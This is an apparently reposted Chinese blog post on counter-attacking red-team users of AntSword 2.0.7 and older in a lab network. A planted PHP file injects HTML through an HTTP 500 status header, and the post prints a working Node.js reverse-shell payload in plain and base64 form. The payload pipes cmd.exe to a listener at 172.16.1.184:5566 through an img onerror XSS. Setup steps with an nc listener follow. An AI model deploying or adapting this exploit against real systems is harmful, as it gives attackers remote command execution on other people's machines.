当前位置: 首页 > article >正文

蚁剑低版本反制

蚁剑低版本反制

漏洞概述

   中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

影响范围

AntSword <=2.0.7

蚁剑实验版本:2.0.7

环境搭建:

172.16.1.233(蓝队服务器)(kali)

172.16.1.235(红队)(win10)

172.16.1.184(蓝队反制)(win10)

反制过程:

漏洞:

<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');

利用:

在 Node.js 中提供了一个 net.Socket 对象,用于方便调用底层 Socket 接口,实现数据传输的功能。net.Socket 既可以读也可以写,这个 client 建立 socket 链接,实现了将对方 cmd.exe 的标准输入输出与标准错误流转发到受害者自己的 ip:5566端口上。

var net = require("net"), sh = require("child_process").exec("cmd.exe"); var client = new net.Socket(); client.connect(5566, "172.16.1.184", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);})

将上面 base64 编码完成的内容放进 Buffer 函数中

组合后payload:

编码前

<?php
header("HTTP/1.1 500 Not <img src=# οnerrοr='eval(new Buffer(`var net = require("net"), sh = require("child_process").exec("cmd.exe"); var client = new net.Socket(); client.connect(5566, "172.16.1.184", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});`,`base64`).toString())'>")

完整payload:

<?php
header("HTTP/1.1 500 Not <img src=# οnerrοr='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7IHZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOyBjbGllbnQuY29ubmVjdCg1NTY2LCAiMTcyLjE2LjEuMTg0IiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTtzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==`,`base64`).toString())'>");

将红队的木马替换成我们的反制木马

蓝队服务器我用的kali

开启apache服务命令: service apache2 start

在这里插入图片描述

172.16.1.184(蓝队反制)NC开启监听:

图片

172.16.1.235(红队)使用蚁剑连接:

图片

172.16.1.184(蓝队反制)接到红队shell

图片

蚁剑和nc下载:

链接:https://pan.baidu.com/s/1OBWFSPz38pUpnKMz09FUyQ 
提取码:joyb

http://www.kler.cn/news/147963.html

相关文章:

  • 带记忆的超级GPT智能体,能做饭、煮咖啡、整理家务!
  • 未来不远!人工智能赛道,未来不远科技正在跑出加速度
  • DM8误删除操作恢复方案
  • UML建模图文详解教程01——Enterprise Architect的安装与使用
  • 电脑开机过程中,程序的启动的顺序是怎么样的?
  • GZ031 应用软件系统开发赛题第4套
  • 网络运维与网络安全 学习笔记2023.11.28
  • QT中样式表常见属性与颜色的设置与应用
  • 优雅使用docker-compose部署Skywalking
  • 前端页面带值跳转
  • re:Invent 2023 开发者指南来了!@开发者们,Let‘s 构!
  • 案例026:基于微信的原创音乐小程序的设计与实现
  • 【电路笔记】-电阻器颜色代码与阻值计算
  • 在MySQL中将一个表切换到另一个表并启用分区
  • 随笔美文2
  • 16、单例bean的优势
  • Linux——vim编辑文件时——.swp文件解决方案
  • openstack(2)
  • 【2023.11.28】关于Servlet路径的学习
  • Python大数据考题
  • 医学图像分割:U_Net 论文阅读
  • 电脑风扇转一下停一下,无法正常开机问题解决
  • 算法基础之模拟堆
  • frida - 2.hook使用
  • 精彩预告 | OpenHarmony即将亮相MTSC 2023
  • Android gradle 配置阿里镜像
  • k8s学习
  • 振南技术干货集:制冷设备大型IoT监测项目研发纪实(1)
  • Moonbeam生态项目分析 — — 去中心化交易所Beamswap
  • 【人工智能】Chatgpt的训练原理